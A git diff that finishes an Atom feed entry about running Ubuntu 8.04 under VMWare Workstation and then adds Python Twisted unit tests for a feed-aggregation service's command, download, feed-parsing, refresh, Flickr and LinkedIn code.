+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://norman.walsh.name/2008/05/05/vmwaretools">Norman Walsh</a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g fill='none' stroke='#7d9bc6' stroke-width='3'>
+    <rect height='44' width='44' x='17' y='41' rx="3"/>
+    <rect height='44' width='44' x='27' y='19' rx="3"/>
+    <rect height='44' width='44' x='39' y='29' rx="3"/>
+  </g>
+</svg>
+<p><a href="http://norman.walsh.name/2008/05/05/vmwaretools"><cite>Norman Walsh</cite></a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>It turns out that IBM Ubuntu software layer (e.g. VPN software) does not yet work with Hardy Heron.  A few years ago, I would compiling and comparing notes with collegues, but now I’ve gotten complacent.  I mean, really, Hardy has been out for 11 days now, what’s the problem?</p>
+<p>So, I decided to try VMWare Workstation (i.e., for Windows).  The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.  Suspend/Resume work, but unless Ubuntu is separately suspended, it won’t re-synchronize with the hardware clock on resume, but the following in <code>crontab</code> for <code>root</code> addresses this:</p>
+<pre class="code">0,10,20,30,40,50 * * * * /etc/init.d/hwclock.sh start  &gt; /dev/null</pre>
+<p>The VM runs above the Wifi layer (i.e., appears to the VM as <code>eth0</code>), but below the VPN layer (drats!).</p>
+<p>On a T61p, the display runs about as well as the native open source video driver (i.e., no <a href="http://compiz.org/">compiz</a>).  One idiosyncrasy I’ve found so far is that releasing the right mouse button often has the effect of selecting the first menu item.</p>
+<p>Switching back and forth between operating systems is fast, and one can even share directories (e.g. <code>C:\cygwin\home\rubys</code> as <code>/mnt/hgfs/rubys</code>) and copy/paste between host and VM windows.</p></div></content>
+    <updated>2008-05-05T20:40:39-04:00</updated>
+  </entry>
+
+</feed>
+
diff --git a/tests/twisted/local/test_commandmanager.py b/tests/twisted/local/test_commandmanager.py
new file mode 100644 (file)
index 0000000..54a27da
--- /dev/null
@@ -0,0 +1,116 @@
+# local unit test for commandmanager
+from twisted.trial import unittest
+from twisted.internet import defer
+from twisted.python.failure import Failure
+from services.command.base import BaseCommand, CommandManager
+
+# test that raise an exception from the doCommand call
+class RaiseDoCommandExceptionCommand(BaseCommand):
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "raise-do-command-exception"
+
+    def doCommand(self, state, *args, **kw):
+        raise ValueError("test error")
+
+class RaiseDoCommandExceptionCommandManager(CommandManager):
+    def __init__(self):
+        CommandManager.__init__(self)
+        self.commands = [ RaiseDoCommandExceptionCommand() ]
+
+# test that is a complete success
+class SuccessCommand(BaseCommand):
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "success-command"
+
+    def doCommand(self, state, *args, **kw):
+        self.d = defer.Deferred()
+        self.d.callback(None)
+        return self.d
+
+class SuccessCommandManager(CommandManager):
+    def __init__(self):
+        CommandManager.__init__(self)
+        self.commands = [ SuccessCommand() ]
+
+# test that returns an errback in a chain
+class FailureCommand(BaseCommand):
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "failure-command"
+
+    def doCommand(self, state, *args, **kw):
+        self.d = defer.Deferred()
+        self.d.errback(Failure(ValueError("test error")))
+        return self.d
+
+class FailureCommandManager(CommandManager):
+    def __init__(self):
+        CommandManager.__init__(self)
+        self.commands = [ SuccessCommand(),
+                          FailureCommand() ]
+
+# test that an error handler is run
+class ErrorHandlerCommandManager(CommandManager):
+    def __init__(self):
+        CommandManager.__init__(self)
+        self.commands = [ SuccessCommand(),
+                          FailureCommand() ]
+        self.error_handler = self.handle_error
+
+    def handle_error(self, state, failure):
+        d = defer.Deferred()
+        d.errback(failure)
+        return d
+
+# handle an exception in the error handler itself
+class ErrorHandlerExceptionCommandManager(CommandManager):
+    def __init__(self):
+        CommandManager.__init__(self)
+        self.commands = [ SuccessCommand(),
+                          FailureCommand() ]
+        self.error_handler = self.handle_error
+
+    def handle_error(self, state, failure):
+        raise ValueError("test error")
+
+class TestCommandManager(unittest.TestCase):
+    def setUp(self):
+        pass
+
+    def tearDown(self):
+        pass
+
+    def test_doCommandException(self):
+        m = RaiseDoCommandExceptionCommandManager()
+        d = m.doCommand(None)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(lambda f: f.trap(ValueError))
+        return d
+
+    def test_doCommandSuccess(self):
+        m = SuccessCommandManager()
+        d = m.doCommand(None)
+        return d
+
+    def test_doCommandFailure(self):
+        m = FailureCommandManager()
+        d = m.doCommand(None)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(lambda f: f.trap(ValueError))
+        return d
+
+    def test_doCommandErrorHandler(self):
+        m = ErrorHandlerCommandManager()
+        d = m.doCommand(None)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(lambda f: f.trap(ValueError))
+        return d
+
+    def test_doCommandExceptionErrorHandler(self):
+        m = ErrorHandlerExceptionCommandManager()
+        d = m.doCommand(None)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(lambda f: f.trap(ValueError))
+        return d
diff --git a/tests/twisted/local/test_feedparse.py b/tests/twisted/local/test_feedparse.py
new file mode 100644 (file)
index 0000000..95f8b79
--- /dev/null
@@ -0,0 +1,154 @@
+# local tests (largely database) that test inserts and updates
+
+from twisted.trial import unittest
+from twisted.internet import reactor, defer
+
+from datetime import datetime
+import time
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.feedparse import FeedUpdateDatabaseCommand, FeedParseCommand
+
+class TestFeedParse(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def setupSite(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.site = model.Site(person=p,
+                               url="http://www.0xdeadbeef.com/weblog",
+                               type="feed",
+                               feed="http://www.0xdeadbeef.com/weblog/?feed=rss2",
+                               feedType="rss20",
+                               title="Christopher Blizzard",
+                               created=datetime.utcnow(),
+                               lastUpdate=datetime.utcnow(),
+                               lastPoll=datetime.utcnow(),
+                               current=None)
+        self.state = {}
+        self.state["site_id"] = self.site.id
+
+    def confirmSuccess(self, *args):
+        reactor.callLater(0.5, self.waitForFinish)
+
+    def waitForFinish(self):
+        self.d.callback(None)
+
+    # testing a normal feed with ids
+    def test_feedParse(self):
+        self.setupManagers()
+        self.setupSite()
+        self.fpc = FeedParseCommand(self.sm)
+        self.state["url"] = "http://www.0xdeadbeef.com/weblog/"
+        self.state["feed_url"] = "http://www.0xdeadbeef.com/weblog/feed=rss2"
+        d = self.fpc.doCommand(self.state, "../tests/twisted/local/data/beef-2.rss2")
+        d.addCallback(self.feedParseParsed)
+        return d
+
+    def feedParseParsed(self, filename):
+        self.fudc = FeedUpdateDatabaseCommand(self.dcm)
+        d = self.fudc.doCommand(self.state, filename)
+        d.addCallback(self.confirmFeedParseDBDone)
+        return d
+
+    def confirmFeedParseDBDone(self, *args):
+        self.site.sync()
+        h = self.site.history
+        assert(len(h) == 2)
+        e = h[0]
+        e.sync()
+        assert(e.published == None)
+        assert(e.updated)
+        assert(e.content)
+        assert(e.summary)
+        assert(e.entry_id)
+        assert(e.display_cache == None)
+        assert(e.title)
+
+        # now that we've loaded the database, see if we add an entry successfully
+        self.fpc = FeedParseCommand(self.sm)
+        d = self.fpc.doCommand(self.state, "../tests/twisted/local/data/beef.rss2")
+        d.addCallback(self.feedParseUpdated)
+        return d
+
+    def feedParseUpdated(self, filename):
+        self.fudc = FeedUpdateDatabaseCommand(self.dcm)
+        d = self.fudc.doCommand(self.state, filename)
+        d.addCallback(self.confirmFeedParseDBUpdated)
+        return d
+
+    def confirmFeedParseDBUpdated(self, *args):
+        self.site.sync()
+        h = self.site.history
+        assert(len(h) == 3)
+
+    # testing stupid feeds without ids
+    def test_stupidFeedParse(self):
+        self.setupManagers()
+        self.setupSite()
+        self.fpc = FeedParseCommand(self.sm)
+        self.state["url"] = "http://www.0xdeadbeef.com/weblog/"
+        self.state["feed_url"] = "http://www.0xdeadbeef.com/weblog/feed=rss2"
+        d = self.fpc.doCommand(self.state, "../tests/twisted/local/data/beef-no-ids-2.rss2")
+        d.addCallback(self.stupidFeedParseParsed)
+        return d
+
+    def stupidFeedParseParsed(self, filename):
+        self.fudc = FeedUpdateDatabaseCommand(self.dcm)
+        d = self.fudc.doCommand(self.state, filename)
+        d.addCallback(self.confirmStupidFeedParseDBDone)
+        return d
+
+    def confirmStupidFeedParseDBDone(self, *args):
+        self.site.sync()
+        h = self.site.history
+        assert(len(h) == 2)
+        e = h[0]
+        e.sync()
+        assert(e.published == None)
+        assert(e.updated)
+        assert(e.content)
+        assert(e.summary)
+        assert(e.entry_id == None)
+        assert(e.display_cache == None)
+        assert(e.title)
+
+        # now that we've loaded the database, see if we add an entry
+        # successfully the test file below contains one additional
+        # item and one item with a change - the change should trigger
+        # a new entry since none of the entries have ids associated
+        # with them
+        self.fpc = FeedParseCommand(self.sm)
+        d = self.fpc.doCommand(self.state, "../tests/twisted/local/data/beef-no-ids.rss2")
+        d.addCallback(self.stupidFeedParseUpdated)
+        return d
+
+    def stupidFeedParseUpdated(self, filename):
+        self.fudc = FeedUpdateDatabaseCommand(self.dcm)
+        d = self.fudc.doCommand(self.state, filename)
+        d.addCallback(self.stupidFeedParseDBUpdated)
+        return d
+
+    def stupidFeedParseDBUpdated(self, *args):
+        self.site.sync()
+        h = self.site.history
+        for i in h:
+            print i.title
+        assert(len(h) == 4)
+
+# XXX test of what happens when we get a feed with some ids and without some ids
+
diff --git a/tests/twisted/local/test_feedparse_perf.py b/tests/twisted/local/test_feedparse_perf.py
new file mode 100644 (file)
index 0000000..340cb90
--- /dev/null
@@ -0,0 +1,50 @@
+from twisted.trial import unittest
+from services.command.service import ServiceManager
+from services.command.feedparse import FeedParseCommand
+import twisted.internet.defer as defer
+
+
+from datetime import datetime
+
+class TestFeedParsePerf(unittest.TestCase):
+    def setUp(self):
+        self.iterations = 0
+        self.start = None
+        self.state = {}
+        defer.setDebugging(True)
+        print "debugging: %d" % defer.getDebugging()
+        self.sm = ServiceManager()
+        self.shutdown_d = None
+        self.parse_d = None
+        self.d = defer.Deferred()
+        self.total = 1000
+
+    def tearDown(self):
+        return self.sm.shutdown()
+
+    def test_feedParse(self):
+        self.start = datetime.now()
+        self.doIteration()
+        self.d.addCallback(self.done)
+        return self.d
+
+    def doIteration(self):
+        self.fpc = FeedParseCommand(self.sm)
+        d = self.fpc.doCommand(self.state, "../tests/twisted/local/data/beef-2.rss2")
+        d.addCallback(self.parseDone)
+
+    def parseDone(self, filename):
+        self.iterations += 1
+        if self.iterations <= self.total:
+            return self.doIteration()
+
+        self.d.callback(None)
+        self.d = None
+
+    def done(self, *args):
+        print("done in %d seconds" % (datetime.now() - self.start).seconds)
+        s = float((datetime.now() - self.start).seconds) + 0.01
+        print("rate is %s/sec" % (float(self.total/s)))
+
+
+        
diff --git a/tests/twisted/local/test_newsite.py b/tests/twisted/local/test_newsite.py
new file mode 100644 (file)
index 0000000..b1c9d35
--- /dev/null
@@ -0,0 +1,44 @@
+# local unit test for newsite
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.newsite import NewSiteSetup
+
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+
+class TestNewSite(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def test_NewSiteSetup(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://www.0xdeadbeef.com/weblog", status="new")
+        self.setupManagers()
+        nss = NewSiteSetup(self.dcm)
+        self.state = dict()
+        d = nss.doCommand(self.state, self.ns.id)
+        d.addCallback(self.nssGotData)
+
+        return d
+
+    def nssGotData(self, *args):
+        ns = self.state["new_site"]
+        id = self.state["id"]
+        try_url = self.state["try_url"]
+        self.assertEquals(id, self.ns.id)
+        self.assertEquals(try_url, "http://www.0xdeadbeef.com/weblog")
+
+        
diff --git a/tests/twisted/network/__init__.py b/tests/twisted/network/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/tests/twisted/network/test_download.py b/tests/twisted/network/test_download.py
new file mode 100644 (file)
index 0000000..5b11b5a
--- /dev/null
@@ -0,0 +1,104 @@
+# unit tests for the downloader service
+from twisted.trial import unittest
+from twisted.internet import defer
+from twisted.internet import error
+
+import formencode
+import os
+
+from services.command.download import DownloadCommand
+
+class TestDownload(unittest.TestCase):
+    def test_download_simple(self):
+        """
+        Download a page that we know exists.
+        """
+        c = DownloadCommand()
+
+        state = dict()
+        state["url"] = 'http://localhost:9090/static/images/info.png'
+
+        d = c.doCommand(state, None)
+        d.addCallback(self._downloadDone)
+
+        return d
+
+    def test_download_307(self):
+        """
+        Download a page that includes a 307 redirect.
+        """
+        c = DownloadCommand()
+
+        state = dict()
+        state["url"] = 'http://off.net/diary/feed/atom/'
+
+        d = c.doCommand(state, None)
+        d.addCallback(self._downloadDone)
+
+        return d
+
+    def _downloadDone(self, filename):
+        assert(filename)
+
+    def test_connection_refused(self):
+        """
+        Test that we can detect a connection refused.
+        """
+        c = DownloadCommand()
+
+        state = dict()
+        state["url"] = 'http://localhost:9091/static/images/info.png'
+
+        d = c.doCommand(state, None)
+        d.addCallback(lambda x: unittest.fail("connection should always be refused"))
+        d.addErrback(lambda f: f.trap(error.ConnectionRefusedError))
+
+        return d
+
+    def test_connection_timeout(self):
+        """
+        Test that eventually a connection will time out.
+        """
+        if not os.getenv("RUN_LONG_TESTS"):
+            raise unittest.SkipTest("RUN_LONG_TESTS unset")
+        c = DownloadCommand()
+
+        state = dict()
+        state["url"] = 'http://blackhole.whoisi.net/index.html'
+
+        d = c.doCommand(state, None)
+        d.addCallback(lambda x: unittest.fail("connection should always time out"))
+        d.addErrback(lambda f: f.trap(error.TimeoutError))
+
+        return d
+
+    def test_dns_lookup_failure(self):
+        """
+        Test a lookup that shouldn't finish.
+        """
+        c = DownloadCommand()
+
+        state = dict()
+        state["url"] = 'http://notfound.whoisi.net/index.html'
+
+        d = c.doCommand(state, None)
+        d.addCallback(lambda x: unittest.fail("dns lookup should always fail"))
+        d.addErrback(lambda f: f.trap(error.DNSLookupError))
+
+        return d
+
+    def test_bad_url(self):
+        """
+        Test what happens if you pass in a bad url.
+        """
+        c = DownloadCommand()
+
+        state = dict()
+        state["url"] = "www.nothing.com"
+
+        d = c.doCommand(state, None)
+
+        d.addCallback(lambda x: unittest.fail("url lookup should always fail"))
+        d.addErrback(lambda f: f.trap(formencode.api.Invalid))
+
+        return d
diff --git a/tests/twisted/network/test_feedparse.py b/tests/twisted/network/test_feedparse.py
new file mode 100644 (file)
index 0000000..8886351
--- /dev/null
@@ -0,0 +1,28 @@
+# network tests for feedparsing
+
+# test what happens if there's an exception thrown during doCommand()
+
+# test to make sure that last_update is set when we do an insert
+
+# test to make sure that last_update is set when we do an update
+
+# test to make sure that last_update is not set when there is no change
+
+# test to make sure that display_cache is set to null when there's an update
+
+# test to make sure that display_cache is set to null when there's an insert
+
+# test of content - what happens we don't have text/html???
+
+# test to make sure that the link entry (the url) is saved when we
+# update the feed
+
+# test database errors while inserting + updating a feed
+
+# test that the feed_type is set after an update
+# test that the title is set after an update
+
+# test that the last_poll is set after any run
+
+# test to make sure that the url is only updated on the site object if
+# it's included in the feed
diff --git a/tests/twisted/network/test_feedrefresh.py b/tests/twisted/network/test_feedrefresh.py
new file mode 100644 (file)
index 0000000..17f803c
--- /dev/null
@@ -0,0 +1,141 @@
+# network tests for testing refreshing a site
+
+from twisted.trial import unittest
+from datetime import datetime
+
+import os
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.controller import RefreshManager
+
+class TestFeedRefresh(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    # test for a normal successful refresh
+    def test_RefreshSiteManager(self):
+        self.setupManagers()
+        model = self.m.model
+
+        p = model.Person(name="Christopher Blizzard")
+        self.site = model.Site(person=p, url="http://www.0xdeadbeef.com/weblog", type="feed",
+                               feed="http://www.0xdeadbeef.com/weblog/?feed=rss2",
+                               feedType="rss2", title="something", created=datetime.utcnow(),
+                               lastUpdate = None,
+                               lastPoll = None, current = None)
+
+        self.sr = model.SiteRefresh(site=self.site, status="new")
+
+        self.rm = RefreshManager(self.sm, self.dcm)
+        d = self.rm.doCommand(self.sr.id)
+
+        d.addCallback(self.confirmRefresh)
+
+        return d
+
+    def confirmRefresh(self, *args, **kw):
+        self.sr.sync()
+        assert(self.sr.status == "done")
+
+        self.site.sync()
+        history = self.site.history
+
+        assert(history)
+        assert(len(history))
+
+        assert(self.site.lastPoll is not None)
+        assert(self.site.lastUpdate is not None)
+
+    # Test for a failed refresh (bad rss url in this case)
+    def test_RefreshSiteManagerFail(self):
+        self.setupManagers()
+        model = self.m.model
+
+        p = model.Person(name="Christopher Blizzard")
+        self.site = model.Site(person=p, url="http://www.0xdeadbeef.com/weblog", type="feed",
+                               feed="http://www.0xdeadbeef.com/weblog/notfound",
+                               feedType="rss2", title="something", created=datetime.utcnow(),
+                               lastUpdate = None,
+                               lastPoll = None, current = None)
+
+        self.sr = model.SiteRefresh(site=self.site, status="new")
+
+        self.rm = RefreshManager(self.sm, self.dcm)
+        d = self.rm.doCommand(self.sr.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.confirmRefreshFailed)
+
+        return d
+
+    def confirmRefreshFailed(self, failure):
+        self.sr.sync()
+        assert(self.sr.status == "error")
+
+        self.site.sync()
+        history = self.site.history
+
+        assert(len(history) == 0)
+
+        assert(self.site.lastPoll == None)
+        assert(self.site.lastUpdate == None)
+
+    # Test for a failed refresh (connection timeout in this case)
+    def test_RefreshSiteManagerTimeout(self):
+        if not os.getenv("RUN_LONG_TESTS"):
+            raise unittest.SkipTest("RUN_LONG_TESTS unset")
+
+        self.setupManagers()
+        model = self.m.model
+
+        p = model.Person(name="Christopher Blizzard")
+        self.site = model.Site(person=p, url="http://www.0xdeadbeef.com/weblog", type="feed",
+                               feed="http://blackhole.whoisi.net/index.rss2",
+                               feedType="rss2", title="something", created=datetime.utcnow(),
+                               lastUpdate = None,
+                               lastPoll = None, current = None)
+
+        self.sr = model.SiteRefresh(site=self.site, status="new")
+
+        self.rm = RefreshManager(self.sm, self.dcm)
+        d = self.rm.doCommand(self.sr.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.confirmRefreshFailed)
+
+        return d
+
+    # Test for a failed refresh (connection timeout in this case)
+    def test_RefreshSiteManager404(self):
+        self.setupManagers()
+        model = self.m.model
+
+        p = model.Person(name="Christopher Blizzard")
+        self.site = model.Site(person=p, url="http://www.0xdeadbeef.com/weblog", type="feed",
+                               feed="http://www.0xdeadbeef.com/notfound",
+                               feedType="rss2", title="something", created=datetime.utcnow(),
+                               lastUpdate = None,
+                               lastPoll = None, current = None)
+
+        self.sr = model.SiteRefresh(site=self.site, status="new")
+
+        self.rm = RefreshManager(self.sm, self.dcm)
+        d = self.rm.doCommand(self.sr.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.confirmRefreshFailed)
+
+        return d
diff --git a/tests/twisted/network/test_flickr.py b/tests/twisted/network/test_flickr.py
new file mode 100644 (file)
index 0000000..e19e104
--- /dev/null
@@ -0,0 +1,62 @@
+# network tests for flickr
+
+from twisted.trial import unittest
+
+from services.command.controller import NewSiteManager
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.controller import FlickrCacheManager
+from tests.twisted.database import MySQLTestInstance
+
+class TestFlickr(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+        self.sm = ServiceManager()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+
+    def test_NewFlickrCache(self):
+        raise unittest.SkipTest("need to define a flickr key to run this test")
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://www.flickr.com/photos/christopherblizzard/", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.newFlickrDone)
+
+        return d
+
+    # now that we have everything added test the flickr cache code
+    def newFlickrDone(self, *args, **kw):
+        self.ns.sync()
+        self.site = self.ns.site
+        self.history = self.site.history
+        self.h_len = len(self.history)
+        self.pos = 0
+
+        return self.cacheNextThumbnail()
+
+    def cacheNextThumbnail(self, *args, **kw):
+        if self.pos == self.h_len:
+            return
+
+        fcm = FlickrCacheManager(self.dcm)
+        d = fcm.doCommand(self.history[self.pos].id)
+        d.addCallback(self.cacheThumbnailDone)
+
+        return d
+
+    def cacheThumbnailDone(self, *args, **kw):
+        self.pos = self.pos + 1
+        return self.cacheNextThumbnail()
+
diff --git a/tests/twisted/network/test_linkedin.py b/tests/twisted/network/test_linkedin.py
new file mode 100644 (file)
index 0000000..a211d6b
--- /dev/null
@@ -0,0 +1,155 @@
+# network tests for linkedin
+
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.controller import NewLinkedInManager
+
+import twisted.web.error
+import twisted.internet.error
+
+import simplejson
+import time
+
+class TestLinkedIn(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+
+    def setupNLIM(self, url=None):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+
+        if url == None:
+            url = "http://www.linkedin.com/in/christopherblizzard"
+
+        ns = model.NewSite(person=p, url=url, status="new")
+        self.ns_id = ns.id
+        self.setupManagers()
+
+        return NewLinkedInManager(self.dcm)
+
+    def confirmSuccess(self, *args, **kw):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.siteID)
+        assert(ns.status == "done")
+        site = model.Site.get(ns.siteID)
+        site.sync()
+        assert(site)
+
+    def confirmFailure(self, failure):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "page_not_found")
+
+    def confirmInternalFailure(self, failure):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "internal")
+
+    def test_NLIMSuccess(self):
+        nlim = self.setupNLIM()
+
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(self.confirmSuccess)
+
+        return d
+
+    def test_NLIMConnectionProblem(self):
+        nlim = self.setupNLIM()
+        nlim.state["testfail"] = "download_connection_refused"
+
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.confirmFailure)
+
+        return d
+
+    def test_NLIMNotFound(self):
+        nlim = self.setupNLIM()
+        nlim.state["testfail"] = "download_404"
+
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmFailure)
+
+        return d
+
+    def test_NLIMParserFailure(self):
+        nlim = self.setupNLIM()
+        nlim.state["testfail"] = "linkedin_parser_exception"
+
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmInternalFailure)
+
+        return d
+
+    def test_NLIMProfileNotFoundFailure(self):
+        nlim = self.setupNLIM("http://www.linkedin.com/in/djkajdklsadjkasjdklas")
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmFailure)
+
+        return d
+
+    def test_NLIMCreateDoCommandException(self):
+        nlim = self.setupNLIM()
+        nlim.state["testfail"] = "linkedin_create_exception"
+
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmInternalFailure)
+
+        return d
+
+    def test_NLIMCreateDBException(self):
+        nlim = self.setupNLIM()
+        nlim.state["testfail"] = "linkedin_db_create_exception"
+
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmInternalFailure)
+
+        return d
+
+    def test_NLIMCreateTimes(self):
+        nlim = self.setupNLIM()
+
+        d = nlim.doCommand(self.ns_id)
+
+        d.addCallback(self.confirmCreateTimes)
+
+        return d
+
+    def confirmCreateTimes(self, *args, **kw):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.siteID)
+        assert(ns.status == "done")
+        site = model.Site.get(ns.siteID)
+        assert(site)
+        site.sync()
+        assert(site.created)
+        assert(site.lastUpdate)
+        assert(site.lastPoll)
+
+    # XXX add a test to make sure that lastPoll has changed when
+    # XXX lastUpdate has not
diff --git a/tests/twisted/network/test_linkedin_refresh.py b/tests/twisted/network/test_linkedin_refresh.py
new file mode 100644 (file)
index 0000000..d3c0a42
--- /dev/null
@@ -0,0 +1,267 @@
+# network tests for linkedin that test refreshing
+
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.controller import NewLinkedInManager, \
+    LinkedInRefreshManager
+from services.command.linkedin import LinkedInCompare
+
+import simplejson
+
+class TestLinkedIn(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+
+    def setupRefresh(self, callback, url=None):
+        model = self.m.model
+        p = model.Person(name="Reid Hoffman")
+
+        if url == None:
+            url = "http://www.linkedin.com/in/reidhoffman"
+
+        ns = model.NewSite(person=p, url=url, status="new")
+        self.ns_id = ns.id
+        self.setupManagers()
+
+        nlim = NewLinkedInManager(self.dcm)
+        d = nlim.doCommand(self.ns_id)
+        d.addCallback(self.setupDone, callback)
+
+        return d
+
+    def setupDone(self, result, callback):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.siteID)
+        assert(ns.status == "done")
+        self.site = model.Site.get(ns.siteID)
+        self.site.sync()
+        assert(self.site.created)
+        assert(self.site.lastPoll)
+        assert(self.site.lastUpdate)
+        # we stomp on this so we know it's set
+        self.site.lastPoll = None
+        self.site.lastUpdate = None
+        self.site.sync()
+
+        return callback()
+
+    def setupRefreshManager(self):
+        model = self.m.model
+        sr = model.SiteRefresh(site=self.site, status="new")
+        self.sr_id = sr.id
+        return LinkedInRefreshManager(self.dcm)
+
+    def confirmSuccess(self, *args, **kw):
+        model = self.m.model
+        sr = model.SiteRefresh.get(self.sr_id)
+        sr.sync()
+        assert(sr.status == "done")
+        s = model.Site.get(sr.siteID)
+        s.sync()
+        assert(s.lastPoll is not None)
+
+    def confirmFailure(self, *args, **kw):
+        model = self.m.model
+        sr = model.SiteRefresh.get(self.sr_id)
+        sr.sync()
+        assert(sr.status == "error")
+
+    # test refreshing with no changes
+    def test_Refresh(self):
+        return self.setupRefresh(self.done_test_Refresh)
+
+    def done_test_Refresh(self):
+        rm = self.setupRefreshManager()
+
+        d = rm.doCommand(self.sr_id)
+        d.addCallback(self.confirmSuccess)
+
+        return d
+
+    # test refresh failure
+    def test_RefreshFailure(self):
+        return self.setupRefresh(self.done_test_RefreshFailure)
+
+    def done_test_RefreshFailure(self):
+        rm = self.setupRefreshManager()
+        rm.state["testfail"] = "linkedin_parse_no_profile"
+
+        d = rm.doCommand(self.sr_id)
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.confirmFailure)
+
+        return d
+
+    # test refresh with no changes
+    def test_RefreshNothing(self):
+        return self.setupRefresh(self.done_test_RefreshNothing)
+
+    def done_test_RefreshNothing(self):
+        rm = self.setupRefreshManager()
+
+        d = rm.doCommand(self.sr_id)
+        d.addCallback(self.confirmSuccess)
+
+        return d
+
